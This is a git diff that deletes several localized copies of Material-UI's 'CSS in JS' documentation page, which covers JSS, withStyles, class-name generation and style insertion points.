-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## Plugins
-
-JSS uses the concept of plugins to extend its core, allowing people to cherry-pick the features they need. You pay the performance overhead for only what's you are using. Given `withStyles` is our internal styling solution, all the plugins aren't available by default. We have added the following list:
-
-- [jss-global](http://cssinjs.org/jss-global/)
-- [jss-nested](http://cssinjs.org/jss-nested/)
-- [jss-camel-case](http://cssinjs.org/jss-camel-case/)
-- [jss-default-unit](http://cssinjs.org/jss-default-unit/)
-- [jss-vendor-prefixer](http://cssinjs.org/jss-vendor-prefixer/)
-- [jss-props-sort](http://cssinjs.org/jss-props-sort/)
-
-It's a subset of [jss-preset-default](http://cssinjs.org/jss-preset-default/). Of course, you are free to add a new plugin. We have one example for the [`jss-rtl` plugin](/guides/right-to-left/#3--jss-rtl).
-
-## API
-
-### `withStyles(styles, [options]) => higher-order component`
-
-Link a style sheet with a component. It does not modify the component passed to it; instead, it returns a new component with a `classes` property. This `classes` object contains the name of the class names injected in the DOM.
-
-Some implementation details that might be interesting to being aware of:
-
-- It adds a `classes` property so you can override the injected class names from the outside.
-- It adds an `innerRef` property so you can get a reference to the wrapped component. The usage of `innerRef` is identical to `ref`.
-- It forwards *non React static* properties so this HOC is more "transparent". For instance, it can be used to defined a `getInitialProps()` static method (next.js).
-
-#### Arguments
-
-1. `styles` (*Function | Object*): A function generating the styles or a styles object. It will be linked to the component. Use the function signature if you need to have access to the theme. It's provided as the first argument.
-2. `options` (*Object* [optional]): 
-    - `options.withTheme` (*Boolean* [optional]): Defaults to `false`. Provide the `theme` object to the component as a property.
-    - `options.name` (*String* [optional]): The name of the style sheet. Useful for debugging. If the value isn't provided, it will try to fallback to the name of the component.
-    - `options.flip` (*Boolean* [optional]): When set to `false`, this sheet will opt-out the `rtl` transformation. When set to `true`, the styles are inversed. When set to `null`, it follows `theme.direction`.
-    - The other keys are forwarded to the options argument of [jss.createStyleSheet([styles], [options])](http://cssinjs.org/js-api/#create-style-sheet).
-
-#### Returns
-
-`higher-order component`: Should be used to wrap a component.
-
-#### Beispiele
-
-```jsx
-import { withStyles } from '@material-ui/core/styles';
-
-const styles = {
-  root: {
-    backgroundColor: 'red',
-  },
-};
-
-class MyComponent extends React.Component {
-  render () {
-    return <div className={this.props.classes.root} />;
-  }
-}
-
-export default withStyles(styles)(MyComponent);
-```
-
-Also, you can use as [decorators](https://babeljs.io/docs/en/babel-plugin-proposal-decorators) like so:
-
-```jsx
-import { withStyles } from '@material-ui/core/styles';
-
-const styles = {
-  root: {
-    backgroundColor: 'red',
-  },
-};
-
-@withStyles(styles)
-class MyComponent extends React.Component {
-  render () {
-    return <div className={this.props.classes.root} />;
-  }
-}
-
-export default MyComponent
-```
-
-### `createGenerateClassName([options]) => class name generator`
-
-A function which returns [a class name generator function](http://cssinjs.org/js-api/#generate-your-own-class-names).
-
-#### Arguments
-
-1. `options` (*Object* [optional]): 
-    - `options.dangerouslyUseGlobalCSS` (*Boolean* [optional]): Defaults to `false`. Makes the Material-UI class names deterministic.
-    - `options.productionPrefix` (*String* [optional]): Defaults to `'jss'`. The string used to prefix the class names in production.
-    - `options.seed` (*String* [optional]): Defaults to `''`. The string used to uniquely identify the generator. It can be used to avoid class name collisions when using multiple generators.
-
-#### Returns
-
-`class name generator`: The generator should be provided to JSS.
-
-#### Beispiele
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { createGenerateClassName } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName({
-  dangerouslyUseGlobalCSS: true,
-  productionPrefix: 'c',
-});
-
-function App() {
-  return (
-    <JssProvider generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## Alternative APIs
-
-Do you think that [higher-order components are the new mixins](https://cdb.reacttraining.com/use-a-render-prop-50de598f11ce)? Rest assured we don't, however because `withStyles()` is a higher-order component, it can be extended with just a **few lines of code** to match different patterns that are all idiomatic React. Here are a couple of examples.
-
-### Render props API (+11 lines)
-
-The term [“render prop”](https://reactjs.org/docs/render-props.html) refers to a simple technique for sharing code between React components using a prop whose value is a function.
-
-```jsx
-// You will find the `createStyled` implementation in the source of the demo.
-const Styled = createStyled({
-  root: {
-    background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-    borderRadius: 3,
-    border: 0,
-    color: 'white',
-    height: 48,
-    padding: '0 30px',
-    boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-  },
-});
-
-function RenderProps() {
-  return (
-    <Styled>
-      {({ classes }) => (
-        <Button className={classes.root}>
-          {'Render props'}
-        </Button>
-      )}
-    </Styled>
-  );
-}
-```
-
-{{"demo": "pages/customization/css-in-js/RenderProps.js"}}
-
-You can access the theme the same way you would do it with `withStyles`:
-
-```js
-const Styled = createStyled(theme => ({
-  root: {
-    backgroundColor: theme.palette.background.paper,
-  },
-}));
-```
-
-[@jedwards1211](https://github.com/jedwards1211) Has taken the time to move this module into a package: [material-ui-render-props-styles](https://github.com/jcoreio/material-ui-render-props-styles). Feel free to use it.
-
-### styled-components API (+15 linhas)
-
-styled-components's API removes the mapping between components and styles. Using components as a low-level styling construct can be simpler.
-
-```jsx
-// You will find the `styled` implementation in the source of the demo.
-// You can even write CSS with https://github.com/cssinjs/jss-template.
-const MyButton = styled(Button)({
-  background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-  borderRadius: 3,
-  border: 0,
-  color: 'white',
-  height: 48,
-  padding: '0 30px',
-  boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-});
-
-function StyledComponents() {
-  return <MyButton>{'Styled Components'}</MyButton>;
-}
-```
-
-{{"demo": "pages/customization/css-in-js/StyledComponents.js"}}
-
-You can access the theme the same way you would do it with `withStyles`:
-
-```js
-const MyButton = styled(Button)(theme => ({
-  backgroundColor: theme.palette.background.paper,
-}));
-```
\ No newline at end of file
diff --git a/docs/src/pages/customization/css-in-js/css-in-js-es.md b/docs/src/pages/customization/css-in-js/css-in-js-es.md
deleted file mode 100644
index eb134c6905ffd2..00000000000000
--- a/docs/src/pages/customization/css-in-js/css-in-js-es.md
+++ /dev/null
@@ -1,402 +0,0 @@
-# CSS in JS
-
-<p class="description">You can leverage our styling solution, even if you are not using our components.</p>
-
-> ⚠️ We are working on extracting the styling solution into it's own package: [`@material-ui/styles`](/css-in-js/basics/). It's an unstable project (alpha version). Hopefully, we will make it the default style implementation for the core components in Material-UI v4.
-
-Material-UI aims to provide strong foundations for building dynamic UIs. For the sake of simplicity, **we expose our styling solution to users**. You can use it, but you don't have to. This styling solution is [interoperable with](/guides/interoperability/) all the other major solutions.
-
-## Material-UI's styling solution
-
-In previous versions, Material-UI has used LESS, then a custom inline-style solution to write the style of the components, but these approaches have proven to be limited. Most recently, we have [moved toward](https://github.com/oliviertassinari/a-journey-toward-better-style) a *CSS-in-JS* solution. It **unlocks many great features** (theme nesting, dynamic styles, self-support, etc.). We think that it's the future:
-
-- [A Unified Styling Language](https://medium.com/seek-blog/a-unified-styling-language-d0c208de2660)
-- [The future of component-based styling](https://medium.freecodecamp.org/css-in-javascript-the-future-of-component-based-styling-70b161a79a32)
-- [Convert SCSS (Sass) to CSS-in-JS](https://egghead.io/courses/convert-scss-sass-to-css-in-js)
-
-So, you may have noticed in the demos what *CSS-in-JS* looks like. We use the higher-order component created by [`withStyles`](#api) to inject an array of styles into the DOM as CSS, using JSS. Here's an example:
-
-{{"demo": "pages/customization/css-in-js/CssInJs.js"}}
-
-## JSS
-
-Material-UI's styling solution uses [JSS](https://github.com/cssinjs/jss) at its core. It's a [high performance](https://github.com/cssinjs/jss/blob/next/docs/performance.md) JS to CSS compiler which works at runtime and server-side. It is about 8 kB (minified and gzipped) and is extensible via a [plugins](https://github.com/cssinjs/jss/blob/next/docs/plugins.md) API.
-
-If you end up using this styling solution in your codebase, you're going to need to *learn the API*. The best place to start is by looking at the features that each [plugin](https://cssinjs.org/plugins/) provides. Material-UI uses [few of them](#plugins). You can always add new plugins if needed with the [`JssProvider`](https://github.com/cssinjs/react-jss#custom-setup) helper.
-
-If you wish to build your own instance of `jss` **and** support *rtl* make sure you also include the [jss-rtl](https://github.com/alitaheri/jss-rtl) plugin. Check the jss-rtl [readme](https://github.com/alitaheri/jss-rtl#simple-usage) to learn how.
-
-## Sheets registry
-
-When rendering on the server, you will need to get all rendered styles as a CSS string. The `SheetsRegistry` class allows you to manually aggregate and stringify them. Read more about [Server Rendering](/guides/server-rendering/).
-
-## Sheets manager
-
-The sheets manager uses a [reference counting](https://en.wikipedia.org/wiki/Reference_counting) algorithm in order to attach and detach the style sheets only once per (styles, theme) couple. This technique provides an important performance boost when re-rendering instances of a component.
-
-When only rendering on the client, that's not something you need to be aware of. However, when rendering on the server you do. You can read more about [Server Rendering](/guides/server-rendering/).
-
-## Class names
-
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. The following CSS won't work:
-
-```css
-.MuiAppBar-root-12 {
-  opacity: 0.6
-}
-```
-
-Instead, you have to use the `classes` property of a component to override them. On the other hand, thanks to the non-deterministic nature of our class names, we can implement optimizations for development and production. They are easy to debug in development and as short as possible in production:
-
-- development: `.MuiAppBar-root-12`
-- production: `.jss12`
-
-If you don't like this default behavior, you can change it. JSS relies on the concept of [class name generator](http://cssinjs.org/js-api/#generate-your-own-class-names).
-
-### Global CSS
-
-We provide a custom implementation of the class name generator for Material-UI needs: [`createGenerateClassName()`](#creategenerateclassname-options-class-name-generator). As well as the option to make the class names **deterministic** with the `dangerouslyUseGlobalCSS` option. When turned on, the class names will look like this:
-
-- development: `.MuiAppBar-root`
-- production: `.MuiAppBar-root`
-
-⚠️ **Be cautious when using `dangerouslyUseGlobalCSS`.** We provide this option as an escape hatch for quick prototyping. Relying on it for code running in production has the following implications:
-
-- Global CSS is inherently fragile. People use strict methodologies like [BEM](http://getbem.com/introduction/) to workaround the issue.
-- It's harder to keep track of `classes` API changes.
-
-⚠️ When using `dangerouslyUseGlobalCSS` standalone (without Material-UI), you should name your style sheets. `withStyles` has a name option for that:
-
-```jsx
-const Button = withStyles(styles, { name: 'button' })(ButtonBase)
-```
-
-## CSS injection order
-
-The CSS injected by Material-UI to style a component has the highest specificity possible as the `<link>` is injected at the bottom of the `<head>` to ensure the components always render correctly.
-
-You might, however, also want to override these styles, for example with styled-components. If you are experiencing a CSS injection order issue, JSS [provides a mechanism](https://github.com/cssinjs/jss/blob/master/docs/setup.md#specify-the-dom-insertion-point) to handle this situation. By adjusting the placement of the `insertionPoint` within your HTML head you can [control the order](http://cssinjs.org/js-api/#attach-style-sheets-in-a-specific-order) that the CSS rules are applied to your components.
-
-### HTML comment
-
-The simplest approach is to add an HTML comment that determines where JSS will inject the styles:
-
-```jsx
-<head>
-  <!-- jss-insertion-point -->
-  <link href="..." />
-</head>
-```
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: 'jss-insertion-point',
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-### Other HTML element
-
-[Create React App](https://github.com/facebook/create-react-app) strips HTML comments when creating the production build. To get around the issue, you can provide a DOM element (other than a comment) as the JSS insertion point.
-
-For example, a `<noscript>` element:
-
-```jsx
-<head>
-  <noscript id="jss-insertion-point"></noscript>
-  <link href="..." />
-</head>
-```
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: document.getElementById('jss-insertion-point'),
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-### JS createComment
-
-codesanbox.io evita el acceso al elemento `<head>`. Para solucionar el problema, puede usar JavaScript `document.createComment()` API:
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const styleNode = document.createComment("jss-insertion-point");
-document.head.insertBefore(styleNode, document.head.firstChild);
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: 'jss-insertion-point',
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## JssProvider
-
-react-jss exposes a `JssProvider` component to configure JSS for the underlying child components. There are different use cases:
-
-- Providing a class name generator.
-- [Providing a Sheets registry.](/customization/css-in-js/#sheets-registry)
-- Providing a JSS instance. You might want to support [Right-to-left](/guides/right-to-left/) or changing the [CSS injection order](/customization/css-in-js/#css-injection-order). Read [the JSS documentation](http://cssinjs.org/js-api/) to learn more about the options available. Here is an example:
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create(jssPreset());
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## Plugins
-
-JSS uses the concept of plugins to extend its core, allowing people to cherry-pick the features they need. You pay the performance overhead for only what's you are using. Given `withStyles` is our internal styling solution, all the plugins aren't available by default. We have added the following list:
-
-- [jss-global](http://cssinjs.org/jss-global/)
-- [jss-nested](http://cssinjs.org/jss-nested/)
-- [jss-camel-case](http://cssinjs.org/jss-camel-case/)
-- [jss-default-unit](http://cssinjs.org/jss-default-unit/)
-- [jss-vendor-prefixer](http://cssinjs.org/jss-vendor-prefixer/)
-- [jss-props-sort](http://cssinjs.org/jss-props-sort/)
-
-It's a subset of [jss-preset-default](http://cssinjs.org/jss-preset-default/). Of course, you are free to add a new plugin. We have one example for the [`jss-rtl` plugin](/guides/right-to-left/#3--jss-rtl).
-
-## API
-
-### `withStyles(styles, [options]) => higher-order component`
-
-Link a style sheet with a component. It does not modify the component passed to it; instead, it returns a new component with a `classes` property. This `classes` object contains the name of the class names injected in the DOM.
-
-Some implementation details that might be interesting to being aware of:
-
-- It adds a `classes` property so you can override the injected class names from the outside.
-- It adds an `innerRef` property so you can get a reference to the wrapped component. The usage of `innerRef` is identical to `ref`.
-- It forwards *non React static* properties so this HOC is more "transparent". For instance, it can be used to defined a `getInitialProps()` static method (next.js).
-
-#### Arguments
-
-1. `styles` (*Function | Object*): A function generating the styles or a styles object. It will be linked to the component. Use the function signature if you need to have access to the theme. It's provided as the first argument.
-2. `options` (*Object* [optional]): 
-    - `options.withTheme` (*Boolean* [optional]): Defaults to `false`. Provide the `theme` object to the component as a property.
-    - `options.name` (*String* [optional]): The name of the style sheet. Useful for debugging. If the value isn't provided, it will try to fallback to the name of the component.
-    - `options.flip` (*Boolean* [optional]): When set to `false`, this sheet will opt-out the `rtl` transformation. When set to `true`, the styles are inversed. When set to `null`, it follows `theme.direction`.
-    - The other keys are forwarded to the options argument of [jss.createStyleSheet([styles], [options])](http://cssinjs.org/js-api/#create-style-sheet).
-
-#### Returns
-
-`higher-order component`: Should be used to wrap a component.
-
-#### Ejemplos
-
-```jsx
-import { withStyles } from '@material-ui/core/styles';
-
-const styles = {
-  root: {
-    backgroundColor: 'red',
-  },
-};
-
-class MyComponent extends React.Component {
-  render () {
-    return <div className={this.props.classes.root} />;
-  }
-}
-
-export default withStyles(styles)(MyComponent);
-```
-
-Also, you can use as [decorators](https://babeljs.io/docs/en/babel-plugin-proposal-decorators) like so:
-
-```jsx
-import { withStyles } from '@material-ui/core/styles';
-
-const styles = {
-  root: {
-    backgroundColor: 'red',
-  },
-};
-
-@withStyles(styles)
-class MyComponent extends React.Component {
-  render () {
-    return <div className={this.props.classes.root} />;
-  }
-}
-
-export default MyComponent
-```
-
-### `createGenerateClassName([options]) => class name generator`
-
-A function which returns [a class name generator function](http://cssinjs.org/js-api/#generate-your-own-class-names).
-
-#### Arguments
-
-1. `options` (*Object* [optional]): 
-    - `options.dangerouslyUseGlobalCSS` (*Boolean* [optional]): Defaults to `false`. Makes the Material-UI class names deterministic.
-    - `options.productionPrefix` (*String* [optional]): Defaults to `'jss'`. The string used to prefix the class names in production.
-    - `options.seed` (*String* [optional]): Defaults to `''`. The string used to uniquely identify the generator. It can be used to avoid class name collisions when using multiple generators.
-
-#### Returns
-
-`class name generator`: The generator should be provided to JSS.
-
-#### Ejemplos
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { createGenerateClassName } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName({
-  dangerouslyUseGlobalCSS: true,
-  productionPrefix: 'c',
-});
-
-function App() {
-  return (
-    <JssProvider generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## Alternative APIs
-
-Do you think that [higher-order components are the new mixins](https://cdb.reacttraining.com/use-a-render-prop-50de598f11ce)? Rest assured we don't, however because `withStyles()` is a higher-order component, it can be extended with just a **few lines of code** to match different patterns that are all idiomatic React. Here are a couple of examples.
-
-### Render props API (+11 lines)
-
-The term [“render prop”](https://reactjs.org/docs/render-props.html) refers to a simple technique for sharing code between React components using a prop whose value is a function.
-
-```jsx
-// You will find the `createStyled` implementation in the source of the demo.
-const Styled = createStyled({
-  root: {
-    background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-    borderRadius: 3,
-    border: 0,
-    color: 'white',
-    height: 48,
-    padding: '0 30px',
-    boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-  },
-});
-
-function RenderProps() {
-  return (
-    <Styled>
-      {({ classes }) => (
-        <Button className={classes.root}>
-          {'Render props'}
-        </Button>
-      )}
-    </Styled>
-  );
-}
-```
-
-{{"demo": "pages/customization/css-in-js/RenderProps.js"}}
-
-You can access the theme the same way you would do it with `withStyles`:
-
-```js
-const Styled = createStyled(theme => ({
-  root: {
-    backgroundColor: theme.palette.background.paper,
-  },
-}));
-```
-
-[@jedwards1211](https://github.com/jedwards1211) Has taken the time to move this module into a package: [material-ui-render-props-styles](https://github.com/jcoreio/material-ui-render-props-styles). Feel free to use it.
-
-### styled-components API (+15 linhas)
-
-styled-components's API removes the mapping between components and styles. Using components as a low-level styling construct can be simpler.
-
-```jsx
-// You will find the `styled` implementation in the source of the demo.
-// You can even write CSS with https://github.com/cssinjs/jss-template.
-const MyButton = styled(Button)({
-  background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-  borderRadius: 3,
-  border: 0,
-  color: 'white',
-  height: 48,
-  padding: '0 30px',
-  boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-});
-
-function StyledComponents() {
-  return <MyButton>{'Styled Components'}</MyButton>;
-}
-```
-
-{{"demo": "pages/customization/css-in-js/StyledComponents.js"}}
-
-You can access the theme the same way you would do it with `withStyles`:
-
-```js
-const MyButton = styled(Button)(theme => ({
-  backgroundColor: theme.palette.background.paper,
-}));
-```
\ No newline at end of file
diff --git a/docs/src/pages/customization/css-in-js/css-in-js-fr.md b/docs/src/pages/customization/css-in-js/css-in-js-fr.md
deleted file mode 100644
index 47746b9c88f443..00000000000000
--- a/docs/src/pages/customization/css-in-js/css-in-js-fr.md
+++ /dev/null
@@ -1,402 +0,0 @@
-# CSS in JS
-
-<p class="description">Vous pouvez exploiter notre solution de style, même si vous n'utilisez pas nos composants.</p>
-
-> ⚠️ Nous travaillons actuellement à l'extraction de la solution de style dans son propre package: [` @ material-ui / styles `](/css-in-js/basics/) . Il s’agit d’un projet instable (version alpha). Hopefully, we will make it the default style implementation for the core components in Material-UI v4.
-
-Material-UI aims to provide strong foundations for building dynamic UIs. For the sake of simplicity, **we expose our styling solution to users**. Vous pouvez l'utiliser, mais vous n'êtes pas obligé. This styling solution is [interoperable with](/guides/interoperability/) all the other major solutions.
-
-## Material-UI's styling solution
-
-In previous versions, Material-UI has used LESS, then a custom inline-style solution to write the style of the components, but these approaches have proven to be limited. Most recently, we have [moved toward](https://github.com/oliviertassinari/a-journey-toward-better-style) a *CSS-in-JS* solution. It **unlocks many great features** (theme nesting, dynamic styles, self-support, etc.). We think that it's the future:
-
-- [A Unified Styling Language](https://medium.com/seek-blog/a-unified-styling-language-d0c208de2660)
-- [The future of component-based styling](https://medium.freecodecamp.org/css-in-javascript-the-future-of-component-based-styling-70b161a79a32)
-- [Conversion de SCSS (Sass) en CSS-in-JS](https://egghead.io/courses/convert-scss-sass-to-css-in-js)
-
-So, you may have noticed in the demos what *CSS-in-JS* looks like. We use the higher-order component created by [`withStyles`](#api) to inject an array of styles into the DOM as CSS, using JSS. Voici un exemple :
-
-{{"demo": "pages/customization/css-in-js/CssInJs.js"}}
-
-## JSS
-
-La solution de style de Material-UI est principalement basé sur [JSS](https://github.com/cssinjs/jss) . It's a [high performance](https://github.com/cssinjs/jss/blob/next/docs/performance.md) JS to CSS compiler which works at runtime and server-side. It is about 8 kB (minified and gzipped) and is extensible via a [plugins](https://github.com/cssinjs/jss/blob/next/docs/plugins.md) API.
-
-If you end up using this styling solution in your codebase, you're going to need to *learn the API*. The best place to start is by looking at the features that each [plugin](https://cssinjs.org/plugins/) provides. Material-UI uses [few of them](#plugins). You can always add new plugins if needed with the [`JssProvider`](https://github.com/cssinjs/react-jss#custom-setup) helper.
-
-If you wish to build your own instance of `jss` **and** support *rtl* make sure you also include the [jss-rtl](https://github.com/alitaheri/jss-rtl) plugin. Check the jss-rtl [readme](https://github.com/alitaheri/jss-rtl#simple-usage) to learn how.
-
-## Sheets registry
-
-When rendering on the server, you will need to get all rendered styles as a CSS string. The `SheetsRegistry` class allows you to manually aggregate and stringify them. Read more about [Server Rendering](/guides/server-rendering/).
-
-## Sheets manager
-
-The sheets manager uses a [reference counting](https://en.wikipedia.org/wiki/Reference_counting) algorithm in order to attach and detach the style sheets only once per (styles, theme) couple. This technique provides an important performance boost when re-rendering instances of a component.
-
-When only rendering on the client, that's not something you need to be aware of. However, when rendering on the server you do. You can read more about [Server Rendering](/guides/server-rendering/).
-
-## Class names
-
-You may have noticed that the class names generated by our styling solution are **non-deterministic**, so you can't rely on them to stay the same. Le CSS suivant ne fonctionnera pas:
-
-```css
-.MuiAppBar-root-12 {
-  opacity: 0.6
-}
-```
-
-Instead, you have to use the `classes` property of a component to override them. On the other hand, thanks to the non-deterministic nature of our class names, we can implement optimizations for development and production. They are easy to debug in development and as short as possible in production:
-
-- développement: `.MuiAppBar-root-12`
-- production: `.jss12`
-
-If you don't like this default behavior, you can change it. JSS s'appuie sur le concept de [générateur de nom de classe](http://cssinjs.org/js-api/#generate-your-own-class-names) .
-
-### CSS global
-
-We provide a custom implementation of the class name generator for Material-UI needs: [`createGenerateClassName()`](#creategenerateclassname-options-class-name-generator). Ainsi que la possibilité de rendre les noms de classe **déterministes** avec l'option ` dangereusementUseGlobalCSS `. When turned on, the class names will look like this:
-
-- développement: `.MuiAppBar-root`
-- production: `.MuiAppBar-root`
-
-⚠️ **Be cautious when using `dangerouslyUseGlobalCSS`.** We provide this option as an escape hatch for quick prototyping. Relying on it for code running in production has the following implications:
-
-- Global CSS is inherently fragile. People use strict methodologies like [BEM](http://getbem.com/introduction/) to workaround the issue.
-- It's harder to keep track of `classes` API changes.
-
-⚠️ When using `dangerouslyUseGlobalCSS` standalone (without Material-UI), you should name your style sheets. `withStyles` has a name option for that:
-
-```jsx
-const Button = withStyles(styles, { name: 'button' })(ButtonBase)
-```
-
-## CSS injection order
-
-The CSS injected by Material-UI to style a component has the highest specificity possible as the `<link>` is injected at the bottom of the `<head>` to ensure the components always render correctly.
-
-You might, however, also want to override these styles, for example with styled-components. If you are experiencing a CSS injection order issue, JSS [provides a mechanism](https://github.com/cssinjs/jss/blob/master/docs/setup.md#specify-the-dom-insertion-point) to handle this situation. By adjusting the placement of the `insertionPoint` within your HTML head you can [control the order](http://cssinjs.org/js-api/#attach-style-sheets-in-a-specific-order) that the CSS rules are applied to your components.
-
-### HTML comment
-
-The simplest approach is to add an HTML comment that determines where JSS will inject the styles:
-
-```jsx
-<head>
-  <!-- jss-insertion-point -->
-  <link href="..." />
-</head>
-```
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: 'jss-insertion-point',
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-### Other HTML element
-
-[Create React App](https://github.com/facebook/create-react-app) strips HTML comments when creating the production build. To get around the issue, you can provide a DOM element (other than a comment) as the JSS insertion point.
-
-For example, a `<noscript>` element:
-
-```jsx
-<head>
-  <noscript id="jss-insertion-point"></noscript>
-  <link href="..." />
-</head>
-```
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: document.getElementById('jss-insertion-point'),
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-### JS createComment
-
-codesandbox.io prevents the access to the `<head>` element. To get around the issue, you can use the JavaScript `document.createComment()` API:
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const styleNode = document.createComment("jss-insertion-point");
-document.head.insertBefore(styleNode, document.head.firstChild);
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: 'jss-insertion-point',
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## JssProvider
-
-react-jss exposes a `JssProvider` component to configure JSS for the underlying child components. There are different use cases:
-
-- Providing a class name generator.
-- [Providing a Sheets registry.](/customization/css-in-js/#sheets-registry)
-- Providing a JSS instance. You might want to support [Right-to-left](/guides/right-to-left/) or changing the [CSS injection order](/customization/css-in-js/#css-injection-order). Read [the JSS documentation](http://cssinjs.org/js-api/) to learn more about the options available. Here is an example:
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create(jssPreset());
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## Plugins
-
-JSS uses the concept of plugins to extend its core, allowing people to cherry-pick the features they need. You pay the performance overhead for only what's you are using. Given `withStyles` is our internal styling solution, all the plugins aren't available by default. We have added the following list:
-
-- [jss-global](http://cssinjs.org/jss-global/)
-- [jss-nested](http://cssinjs.org/jss-nested/)
-- [jss-camel-case](http://cssinjs.org/jss-camel-case/)
-- [jss-default-unit](http://cssinjs.org/jss-default-unit/)
-- [jss-vendor-prefixer](http://cssinjs.org/jss-vendor-prefixer/)
-- [jss-props-sort](http://cssinjs.org/jss-props-sort/)
-
-It's a subset of [jss-preset-default](http://cssinjs.org/jss-preset-default/). Of course, you are free to add a new plugin. We have one example for the [`jss-rtl` plugin](/guides/right-to-left/#3--jss-rtl).
-
-## API
-
-### `withStyles(styles, [options]) => higher-order component`
-
-Link a style sheet with a component. It does not modify the component passed to it; instead, it returns a new component with a `classes` property. This `classes` object contains the name of the class names injected in the DOM.
-
-Some implementation details that might be interesting to being aware of:
-
-- It adds a `classes` property so you can override the injected class names from the outside.
-- It adds an `innerRef` property so you can get a reference to the wrapped component. The usage of `innerRef` is identical to `ref`.
-- It forwards *non React static* properties so this HOC is more "transparent". For instance, it can be used to defined a `getInitialProps()` static method (next.js).
-
-#### Arguments
-
-1. `styles` (*Function | Object*): A function generating the styles or a styles object. It will be linked to the component. Use the function signature if you need to have access to the theme. It's provided as the first argument.
-2. `options` (*Object* [optional]): 
-    - `options.withTheme` (*Boolean* [optional]): Defaults to `false`. Provide the `theme` object to the component as a property.
-    - `options.name` (*String* [optional]): The name of the style sheet. Useful for debugging. If the value isn't provided, it will try to fallback to the name of the component.
-    - `options.flip` (*Boolean* [optional]): When set to `false`, this sheet will opt-out the `rtl` transformation. When set to `true`, the styles are inversed. When set to `null`, it follows `theme.direction`.
